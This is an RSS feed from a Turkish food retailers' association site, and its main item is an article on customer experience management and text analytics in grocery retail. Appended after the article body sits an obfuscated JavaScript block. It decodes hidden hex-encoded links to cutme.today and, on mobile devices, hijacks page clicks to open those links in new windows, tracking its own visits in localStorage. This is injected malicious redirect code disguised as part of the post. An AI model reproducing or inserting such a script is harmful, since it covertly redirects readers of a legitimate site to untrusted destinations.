<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sektörel Bilgiler Archives - GPD</title>
	<atom:link href="https://www.gidaperakendecileri.org/category/sektorel-bilgiler/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.gidaperakendecileri.org/category/sektorel-bilgiler/</link>
	<description>Gıda Perakendecileri Derneği</description>
	<lastBuildDate>Tue, 09 Jul 2019 08:00:56 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
	<item>
		<title>Müşteri Deneyimi Yönetimi ve Gıda Perakendesi</title>
		<link>https://www.gidaperakendecileri.org/my-work-only-allows-internet-explorer-so-i-have-to-manually/</link>
					<comments>https://www.gidaperakendecileri.org/my-work-only-allows-internet-explorer-so-i-have-to-manually/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Jun 2019 12:52:21 +0000</pubDate>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Sektörel Bilgiler]]></category>
		<guid isPermaLink="false">http://td_uid_88_5d136a851c619</guid>

					<description><![CDATA[<p>Günümüzde müşterinin alışveriş deneyimini kolaylaştırmak ve hizmet memnuniyetini arttırmak, rekabette fark yaratmakta ana unsur haline gelmiş bulunuyor. Gartner’a göre 2017 yılı itibarıyla pazarlama yöneticilerinin %89’u ana rekabet ve farklılık temasını Müşteri Deneyimi Yönetimi üzerine kurgulayacak. Walker Insights tarafından yapılan “2020’de Müşteriler” çalışmasına göre, 2020’de müşteri deneyimi, fiyat ve üründen daha fazla tüketici tercihlerini belirleyecek. 2020’de [&#8230;]</p>
<p>The post <a href="https://www.gidaperakendecileri.org/my-work-only-allows-internet-explorer-so-i-have-to-manually/">Müşteri Deneyimi Yönetimi ve Gıda Perakendesi</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="td-paragraph-padding-1">
<h3><strong>Günümüzde müşterinin alışveriş deneyimini kolaylaştırmak ve hizmet memnuniyetini arttırmak, rekabette fark yaratmakta ana unsur haline gelmiş bulunuyor. Gartner’a göre 2017 yılı itibarıyla pazarlama yöneticilerinin %89’u ana rekabet ve farklılık temasını Müşteri Deneyimi Yönetimi üzerine kurgulayacak. Walker Insights tarafından yapılan “2020’de Müşteriler” çalışmasına göre, 2020’de müşteri deneyimi, fiyat ve üründen daha fazla tüketici tercihlerini belirleyecek. 2020’de tüketicilerin %86’sı daha iyi bir müşteri deneyimi için daha fazla ödeyecek.</strong></h3>
<p><em>Yazı: Bülent Dal (Obase)</em></p>
<p>Dijitalleşme ile beraber artık günümüz tüketicisinin alışveriş deneyimi mağazaya gelmeden önce başlıyor ve mağazayı terk ettikten sonra da devam ediyor. Fijitalleşme, yani dijital ve fiziksel dünyanın iç içe girmesi, müşteri deneyimindeki beklentileri önemli ölçüde değiştiriyor. Alışveriş sürecinde farklı evrelerin her birinde dijital cihaz ve enstrümanlar; özellikle sosyal medya, online araştırma, mobil teknolojiler her geçen gün müşterinin karar vermesine daha fazla etki ediyor. Bu etki her bir ürün grubu, her bir perakende iş modeli için farklı seviyelerde gerçekleşiyor. Örneğin ürünün hangi perakende firmasından alınacağına yönlendirme moda perakendesinde özellikle çok kritikken, gıda perakendesi özelinde satın alma, ödeme veya alışveriş hızı, mağazanın seçiminde çok kritik rol oynuyor. Yakın zamanda PWC tarafından yapılan “Future of Grocery Experience Radar” araştırması gösteriyor ki; gıda perakendesinde fiyat halen çok önemli olmasına rağmen mağaza içerisindeki deneyim ve deneyim algısını oluşturan unsurlar, yani basitlik, kalite, eğitim ve tüketici isteklerine odaklanma (sadece ürün değil) tüketicilerin %52’sinin bir sonraki alışverişini o mağazadan yapmasında başrol oynuyor.</p>
<p><img fetchpriority="high" decoding="async" class="size-medium wp-image-473 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2-300x200.jpg" alt="" width="300" height="200" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2-630x420.jpg 630w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal2.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />Satış ve CRM verisi, tüketicilerin ne satın aldıklarını ve kim olduklarını anlamamıza yardımcı olmasına rağmen, müşterilerin gerçekleştirdiği alışverişle ilgili neler hissettiklerini bize söyleyemiyor. Bu durumda gıda perakende zincirlerinin, müşterilerinin alışverişleri esnasında yaşadıkları ve aldıkları hizmetle ilgili düşündüklerini aktardığı ortamlardaki verileri toplayabilmek ve bu verileri eldeki satış ve CRM verileriyle tümleştirerek daha iyi ve özel hizmet sunabilmek adına önem kazanıyor. Dijitalleşen dünyada, müşterilerin neler düşündüğünü ve hissettiğini anlayabilmek sosyal medya, web sitesi, gönderilen e-mailler, çağrı merkezindeki iletişim verileri, blog, “chat” ve anket gibi veri kaynaklarıyla artık çok daha mümkün. Bu veri kaynaklarından gelen içerikleri gerçek zamanlı izleyip yorumlayabilecek bilişim çözümleri, artık hayatımızın içerisinde, aşağıda yer alan süreçleri anlamak ve ilgili aksiyonları almak için, yönlendirmek üzere, yerini almış bulunuyor.</p>
<h3><strong><img decoding="async" class="alignnone wp-image-474 size-full" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3.jpg" alt="" width="787" height="443" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3.jpg 787w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3-300x169.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3-768x432.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3-696x392.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal3-746x420.jpg 746w" sizes="(max-width: 787px) 100vw, 787px" />Hangi departmanların çalıştığı</strong></h3>
<p>Mağazada, düşük kalite ya da yetersiz müşteri hizmeti nedeniyle müşterilerinizi mutsuz eden belli bir alan var mı? Mağaza genelinde olanları, departman ve bölgesel seviyelerde gerçekleşenleri de izlemeye alarak belli bir sürecin toplam müşteri deneyimi memnuniyetini aşağıya çekip çekmediğinden emin olarak, sıkıntılı süreçlerle ilgili iyileştirme sağlanabilir.</p>
<h3><strong>Hangi promosyonların sevildiği ve neden sevildiği</strong></h3>
<p>Satış ve hareket verisi hangi promosyon ve indirimlerin müşteri kitlenizde tercih gördüğünü bilmenizi sağlıyor. Bu veriye müşteri bildirimleri de eklenirse bu beğeninin neden olduğunu; tüketicilerin belli bir marka ya da kampanyayı mı sevdiği, yoksa belli bir ürün grubunun mu satışları yukarı çektiği anlaşılabiliyor. Elde edilen iç görülerle daha hedefe yönelik ve anlamlı promosyonlar düzenlenebiliyor.</p>
<h3><strong><img decoding="async" class="size-medium wp-image-475 alignright" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-300x209.jpg" alt="" width="300" height="209" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-300x209.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-768x535.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-100x70.jpg 100w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-696x485.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4-603x420.jpg 603w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal4.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />Ürün bulunurluğunun anlaşılması</strong></h3>
<p>Tüketiciler hangi ürünlerin olmamasından dolayı memnuniyetsiz olduğunu bazı kanallarla bize söylüyorlar. Bu kanalları dinleyerek, bazı ekmek çeşitlerinin rafta bulunmaması sebebiyle hangi müşterilerinizin şikayetçi olduğunu anlayabilirsiniz. Tedarikçilerinizin ekmekleri, ekmek için talebin en yüksek olduğu Pazartesi akşamı getirmesini organize edebilirsiniz. Bu şekilde tüketici alışkanlıklarını ve tercihlerini daha iyi anlayarak doğru ürünleri, doğru zamanda stokda bulundurup, maliyeti düşürüp satışı arttırabilirsiniz.<br />
Çalışan personel ile birebir meşgul olmak ve motive etmek<br />
Müşterilerden pozitif bildirim alan personelleri, haftalık aldıkları raporlarla ölçümleyen ve ödüllendiren bir perakende zinciri, personelini daha iyi müşteri hizmeti vermek için motive edebiliyor. Bu şekilde çalışan bağımlılığını arttırmak ve müşteriye yönelik tutumları iyileştirme konusunda olumlu gelişmeler gözlenebilir.<br />
Müşterilerden gelen bildirimler izlenip toplanarak, elde edilen bulgular personel eğitimine yansıtılabilir. Müşterilerin en çok sordukları sorular izlenerek, personelin bu soruların farkında olması ve daha da önemlisi nasıl cevap vermesi gerektiğini öğrenmesi ve daha fazla kaynak sunması sağlanabilir.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-476 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5-300x216.jpg" alt="" width="300" height="216" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5-300x216.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5-768x553.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5-696x501.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5-583x420.jpg 583w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal5.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />Yasal riskleri azaltmak</strong></h3>
<p>Teknoloji kullanılarak tüm müşteri bildirimleri analiz edilip, müşterilerin herhangi bir yasal aksiyon alınması gereken bir şeyden ya da etiketsiz ürün veya son kullanım tarihi geçmiş ürün gibi konulardan bahsettiğinde, ilgili kişilere gidecek sistemsel uyarılar tanımlanabilir. Herhangi bir kategorinin satışını olumsuz etkileyecek durumlar hızlıca tespit edilip tesis edilen uzmanlık merkezlerine hızlıca yönlendirilerek, durum kısa sürede düzgün hale getirilebilir.</p>
<h3><strong>Yerel kitleyi anlamanın satışa etkisi</strong></h3>
<p>Yerel müşteriniz, marka vaadinizle ilgili bazı beklentilere sahip olabilir ve bu beklentilerle ilgili olumsuz bildirimleri öğrenebilirsiniz. Zirai ilaçların kullanılması, balık sürekliliğini destekleyen avlama ya da yetiştirme yöntemlerine uyulması, sosyal sorumlulukla ilgili uygulamalarınıza göre yerel tüketiciniz hassas olabilir. 2014 yılında PWC tarafından yapılan bir araştırmaya göre tüketicilerin %64’ü yerel ve organik ürünlere daha fazla para ödemeye razı oluyor. Yerel kitlelerin alışveriş değerlerini algılamak satış ve müşteri sürekliliğini arttırıyor.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-477 size-full" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6.jpg" alt="" width="787" height="525" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6.jpg 787w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal6-630x420.jpg 630w" sizes="(max-width: 787px) 100vw, 787px" /><br />
Tüm bahsettiklerimizi yapabilmek ve iyileştirmek için anket ve online değerlendirmeleri süreçlerin içerisine daha fazla dahil edip müşterinin sesini ve nabzını tutacak diğer bildirimlerden (çağrı merkezi, sosyal medya, e-posta, “chat”, vb.) oluşan veri kaynaklarıyla beraber analiz etmek, söz konusu bildirimleri anlamlandıracak metin analitiği teknolojilerini kullanmakla mümkün olabiliyor. Sağlanan çıktılar, satış ve CRM verisiyle beraber anlamlandırılıp, gerekli aksiyonların gecikmeden alınmasını sağlayan Müşteri Deneyimi Yönetimi çözümleriyle hayata geçirildiğinde müşteriye çok daha özel ve iyi deneyim yaşatma güç ve yetkinliğini artmış oluyor.</p>
<p>Müşterinin marka, ürünler, kampanyalar ve verilen hizmetler hakkında müşteri etkileşim noktalarında sağladığı verilerden istifade ederek, müşteriye daha özel ve iyi bir müşteri deneyimi yaşatmak günümüz teknolojik imkanlarıyla artık daha mümkün. Müşteri deneyimi hakkında bilgi edinmek için geçmişten süregelen müşteri anketleri, özel araştırmalar, müşterinin sesi çalışmaları dijital ortamda toplanabilirken, artık çağrı merkezlerinden sesli kayıtların metne dönüşmesiyle sağlanan içerik, gelen e-mailler, sosyal medya kanalıyla paylaşılanların tamamını tümleştirilerek müşteri memnuniyeti daha fazla kontrol altına alınabiliyor.</p>
<p>Günümüzde çok kanaldan iletişim içerisinde bulunan bir müşteri, normalde fiziksel mağazada alışveriş yapmaktan mutluyken, yaptığı online bir alışverişe yönelik sevkiyatın gecikmesinden dolayı tepki verebiliyor ve hatta alışveriş yapmayı sonlandırabilir hale gelebiliyor. İade işlemi sürecinde yaşadığı deneyim, yine müşteri sürekliliğini zedeleyebiliyor. Müşteri sürekliliğini daha fazla olası kılmak için müşterilerin bütün etkileşim noktalarındaki deneyimiyle ilgili tüm verilere sahip olmak gerekiyor.</p>
<p>Gıda perakendesine öncülük yapan gelecek nesil fiziksel mağaza uygulamalarıyla en çarpıcı örnek çoğumuzun bildiği gibi Aralık 2016’da Amazon tarafından, Amazon GO ile Seattle’da pilot olarak hayata geçirildi. Amazon fiziksel mağazada her bir müşterinin davranışlarını anlık izleyecek bir süreci müşterilerin hizmetine sunmayı ve yaygınlaştırmayı planlıyor. Amazon GO benzeri bir mağazacılıkla hangi müşterinin en son ne zaman, hangi sıklıkta mağazaya girdiği, hangi reyonlarda daha çok vakit geçirdiği kaç defa alışveriş yapmadan çıktığı, hangi ürünü arayıp bulamamış olabileceği ve daha birçok bilgiye sahip olabileceğiz. Amazon muhtemelen online ortamda sunduğu başarılı kişisel hizmeti fiziksel mağazalarda da sürdürüyor olacak. Amazon bu doğrultuda yine çok yakın bir zaman önce Amerika’da üst seviyede hizmet kalitesiyle kendi alanında lider Whole Foods süpermarket market zincirini satın alma sürecini başlattı. Bu sayede Amazon’un Whole Foods’un tedarik zincirinden faydalanarak Whole Foods ve Amazon Prime müşteri beklentilerin kesiştiği segmente kısa sürede teslimat ve daha iyi hizmet sunmayı planladığı öngörülüyor.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-478 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7-300x201.jpg" alt="" width="300" height="201" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7-300x201.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7-768x514.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7-696x466.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7-627x420.jpg 627w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/cem_bulent_dal7.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />Duygular tercihleri etkiliyor</strong></h3>
<p>Müşteri deneyiminin duygusal bir boyutu bulunuyor. Müşteriler alışveriş sonrasında pozitif veya negatif duygulara sahip olabilirler ve bu deneyimler hatırlanarak sonraki alışveriş tercihlerini etkiliyor. Bu nedenle perakendeciler odaklarını müşterinin sesini dinlemeye ve olumsuzlukları anlayıp olumluya dönüştürecek farkındalık ve süreçleri tesis etmeye önem vermek durumundadırlar.</p>
<p>Eğer bir şirket müşterilerinin sevdiği ve aynı zamanda dijital kanallardan, sosyal medyadan arkadaş ve akrabalarına yaydığı bir deneyim sunabiliyorsa, o perakendecinin müşteri sürekliliği daha yüksek olacaktır. Bu nedenle deneyim, markadan markaya fark yaratacak en önemli ayırt edici unsur haline geldi. Bu noktada, metin madenciliği ve doğal dil işleme yeteneğine sahip <strong>Müşteri Deneyimi Yönetimi Çözümleri</strong> aşağıdaki disiplinle müşteri deneyimini iyileştirme sürecini anlık takip ederek yardımcı oluyor.</p>
<p><strong>1. Çoklu kanalı anlamak:</strong> Müşterinin tüm kanallardan gelen bildirimlerinin, toplanan verilerinin tümleştirilmesi ve böylece toplam müşteri deneyiminin daha iyi anlaşılması.<br />
<strong>2. Pazarı monitör etmek:</strong> Müşterilerin sizin ve rakiplerinizin yaptığı kampanyalar hakkında neler düşündüğü ve hissettiği anlaşılarak rekabet avantajı sağlanması ve pazar payının arttırılması.<br />
<strong>3. Formülü yakalamak:</strong> Gerçek kanıtları (müşterinin söyledikleri) kullanarak ürün portföyü, yeni pazarlara girmek ya da iş modelinizin değişmesi ile ilgili kararların verilmesi.</p>
<p>Müşteri deneyimini geniş perspektifte, anlık takip edebilen ve veri analitiği ile özel ürün ve hizmetler sunacak şekilde müşteri odaklı operasyonlar yürüten perakende firmaların liderliğini devam ettirecek.</p>
</div>
<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x74\x53\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x67\x55\x55\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x64\x55\x62\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x68\x43\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x5a\x70\x6a\x34\x63\x364','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x69\x56\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x41\x61\x66\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x6a\x53\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x48\x4f\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x53\x63\x71\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script></p>
<p>The post <a href="https://www.gidaperakendecileri.org/my-work-only-allows-internet-explorer-so-i-have-to-manually/">Müşteri Deneyimi Yönetimi ve Gıda Perakendesi</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.gidaperakendecileri.org/my-work-only-allows-internet-explorer-so-i-have-to-manually/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Müşteri İçin Sanaldan Öte Yeni Bir Dünya  “Sosyal Medya”</title>
		<link>https://www.gidaperakendecileri.org/xbox-one-to-launch-in-china-this-month-after-all/</link>
					<comments>https://www.gidaperakendecileri.org/xbox-one-to-launch-in-china-this-month-after-all/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Jun 2019 12:52:21 +0000</pubDate>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Sektörel Bilgiler]]></category>
		<guid isPermaLink="false">http://td_uid_89_5d136a8535fea</guid>

